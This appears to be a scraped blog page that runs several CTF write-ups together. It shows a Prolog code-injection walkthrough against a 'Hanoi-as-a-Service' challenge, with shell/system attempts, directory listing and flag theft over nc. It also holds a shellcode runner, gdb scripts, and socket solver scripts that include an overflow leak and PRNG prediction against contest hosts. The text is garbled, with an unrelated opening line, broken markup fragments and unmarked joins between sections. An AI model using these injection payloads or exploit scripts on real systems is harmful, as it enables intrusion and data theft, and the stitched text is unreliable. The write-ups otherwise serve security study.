He left a note on his blog.

Here's my attempt to find his cats.
https://gist.github.com/fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34
Computer enthusiast interested in software development and security analysis. www.fritzfs.info
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1 * Move top disk from a to b
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? a ERROR: Prolog initialisation failed: ERROR:
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? ' ERROR: Prolog initialisation failed: ERROR: Syntax error: End of file in quoted string ERROR: hanoi(') ERROR: ** here ** ERROR:
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),write('test'),nl% * Move top disk from a to b test
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),shell('sh'),nl% Sorry, that's not implemented!
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),system('sh'),nl% Nice try...
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/haas/flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),ls,nl% * Move top disk from a to b bin/ initrd.img mnt/ run/ usr/ boot/ lib/ netdumps/ sbin/ var/ dev/ lib64/ opt/ srv/ vmlinuz etc/ lost+found/ proc/ sys/ home/ media/ root/ tmp/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home'),ls,nl% * Move top disk from a to b ctf/ ubuntu/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf'),ls,nl% * Move top disk from a to b haas/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf/haas'),ls,nl% * Move top disk from a to b haas haas-proxy.py jhknsjdfhef_flag_here
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl% * Move top disk from a to b ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1: Prolog initialisation failed: /home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
C:\Users\fstipanovic>python Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125] >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),listing,nl% * Move top disk from a to b dohanoi(0, _, _, _) :- !. dohanoi(A, C, E, D) :- !, B is A+ -1, dohanoi(B, C, D, E), moveit(C, E), dohanoi(B, D, E, C). hanoi(A) :- A<15 br=""> dohanoi(A, a, b, c). hanoi(A) :-
A>=15, write('Hey, this problem is too big for my poor mind...'), nl. :- multifile prolog_clause_name/2. :- dynamic prolog_exception_hook/4. :- multifile prolog_exception_hook/4. prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :- prolog_stack: ( ( C==none -> stack_guard(none) ; prolog_frame_attribute(C, predicate_indicator, E), debug(backtrace, 'Got exception ~p (Ctx0=~p, Catcher=~p)', [A, D, E]), stack_guard(E) ), ( current_prolog_flag(backtrace_depth, F) -> F>0 ; F=20 ), get_prolog_backtrace(G, F, H), debug(backtrace, 'Stack = ~p', [H]), clean_stack(H, I) ). :- dynamic resource/3. :- multifile resource/3. first(A, [A|_]). :- multifile prolog_list_goal/1. :- thread_local thread_message_hook/3. :- dynamic thread_message_hook/3. :- volatile thread_message_hook/3. :- multifile prolog_predicate_name/2. moveit(A, B) :- print('* Move top disk from '), print(A), print(' to '), print(B), nl. main :- A=[104, 97, 110, 111, 105, 40], D=[41], write('Welcome to the Hanoi-as-a-Service cloud platform!'), nl, write('How many disks does your tower have?'), nl, read_line_to_codes(user_input, B), append(A, B, C), append(C, D, E), string_to_atom(E, F), read_term_from_atom(F, G, []), call(G), halt(0). :- multifile message_property/2.15>
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
fritz@fritz-virtual-machine:~/ctf/polictf$ python Python 2.7.8 (default, Oct 20 2014, 15:05:19) [GCC 4.9.1] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> a = ... >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b #!/usr/bin/env python import subprocess import sys import os import threading import random def stdinreader(): while True: try: l = sys.stdin.readline() except KeyboardInterrupt: break if not l: break yield l class Proxy: def __init__(self, blacklist, phrases, args): self.blacklist = blacklist self.phrases = phrases try: self.chld = subprocess.Popen(args, stdin=subprocess.PIPE) except OSError: print "Error starting the haas process." sys.exit(1) def is_allowed(self, l): return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True) def listen(self): for line in stdinreader(): if self.chld.poll() is None: if self.is_allowed(line): self.chld.communicate(line) else: print random.choice(self.phrases) break else: return self.chld.terminate() def run(self): t = threading.Thread(target=self.listen) t.daemon = True t.start() self.chld.wait() if __name__ == '__main__': bl = ['shell','unix','system','cd','argv'] phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"] ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas") if len(sys.argv) == 2: ex = sys.argv[1] proxy = Proxy(bl, phrases, [ex]) proxy.run()
#include
int main(int argc, char **argv)
{
int fp;
char buffer[512];
fp = fopen(argv[1], "rb");
fread(buffer, sizeof(buffer), 1, fp);
fclose(fp);
int (*func)();
func = (int (*)()) buffer;
(int)(*func)();
return 0;
}
break *0x400649
commands
print $rax
print $rbx
print $rcx
print $rdx
print $rsi
print $rdi
print $r8
print $r9
print $r10
print $r11
print $r12
print $r13
print $r14
print $r15
c
end
r coding1.bin
import commands
import socket
import re
import os
def rv(reg, line):
return re.search('%s=0x([0-9a-f]+)' % reg, line).group(1).zfill(16)
def rv2(reg, line):
return re.search('\$%s = (0x[0-9a-f]+)' % reg, line).group(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me', 9999))
data = s.recv(1024)
rax = rv('rax', data)
rbx = rv('rbx', data)
rcx = rv('rcx', data)
rdx = rv('rdx', data)
rsi = rv('rsi', data)
rdi = rv('rdi', data)
r8 = rv('r8', data)
r9 = rv('r9', data)
r10 = rv('r10', data)
r11 = rv('r11', data)
r12 = rv('r12', data)
r13 = rv('r13', data)
r14 = rv('r14', data)
r15 = rv('r15', data)
inst = '\x48\xb8' + rax.decode('hex')[::-1]
inst += '\x48\xbb' + rbx.decode('hex')[::-1]
inst += '\x48\xb9' + rcx.decode('hex')[::-1]
inst += '\x48\xba' + rdx.decode('hex')[::-1]
inst += '\x48\xbe' + rsi.decode('hex')[::-1]
inst += '\x48\xbf' + rdi.decode('hex')[::-1]
inst += '\x49\xb8' + r8.decode('hex')[::-1]
inst += '\x49\xb9' + r9.decode('hex')[::-1]
inst += '\x49\xba' + r10.decode('hex')[::-1]
inst += '\x49\xbb' + r11.decode('hex')[::-1]
inst += '\x49\xbc' + r12.decode('hex')[::-1]
inst += '\x49\xbd' + r13.decode('hex')[::-1]
inst += '\x49\xbe' + r14.decode('hex')[::-1]
inst += '\x49\xbf' + r15.decode('hex')[::-1]
data = s.recv(1024)
bytes = int(re.search('About to send (\d+) bytes', data).group(1))
inst += data[-bytes:]
f = open('coding1.bin', 'wb')
f.write(inst)
f.close()
o = commands.getoutput('gdb ./coding1sc < coding1.gdb')
final = 'rax=%s\r\n' % rv2('1', o)
final += 'rbx=%s\r\n' % rv2('2', o)
final += 'rcx=%s\r\n' % rv2('3', o)
final += 'rdx=%s\r\n' % rv2('4', o)
final += 'rsi=%s\r\n' % rv2('5', o)
final += 'rdi=%s\r\n' % rv2('6', o)
final += 'r8=%s\r\n' % rv2('7', o)
final += 'r9=%s\r\n' % rv2('8', o)
final += 'r10=%s\r\n' % rv2('9', o)
final += 'r11=%s\r\n' % rv2('10', o)
final += 'r12=%s\r\n' % rv2('11', o)
final += 'r13=%s\r\n' % rv2('12', o)
final += 'r14=%s\r\n' % rv2('13', o)
final += 'r15=%s\r\n' % rv2('14', o)
print 'Sending', final
s.sendall(final)
print s.recv(1024)
s.close()Let's use all this.
random A = rand()
name = ask_user("How can I call you?")
print("Welcome $name")
lucky_number = ask_user("Choose your lucky number ...")
srand(lucky_number + random A)
how_many_numbers = generate_random()
for i in 1 to how_many_numbers:
number[i] = generate_random()
for i in 1 to how_many_numbers:
guess = ask_user("Number $i")
if guess != number[i]:
quit
connect to remote binary (ip 87.107.123.3, port 31337)
send A * 64 characters as username
read random A (4 bytes after username)
send 5 (or whatever) as lucky number
run local binary with breakpoints and commands to emulate same numbers
read predicted numbers
type numbers in remote binary and enjoy the flag
break *0x400D89
commands
set $rip = 0x400E46
c
end
break *0x400E46
commands
set $edx = 0x11223344
set $eax = 5
c
end
break *0x400E8B
commands
set $count = $eax
set $i = 0
set $rip = 0x400EAE
c
end
break *0x400ECD
commands
print/u $dl
set $i = $i + 1
if $i == $count
quit
end
set $rip = 0x400EAE
c
end
r
import socket
import sys
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('87.107.123.3', 31337))
while True:
d = s.recv(1024)
print d
if 'How can I call you?' in d:
break
s.sendall('A' * 64)
d = s.recv(1024)
leak = d[73:77]
leak = leak[::-1]
leak = leak.encode('hex')
print 'change 0x11223344 to 0x%s in script file' % (leak)
s.sendall('5\n')
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()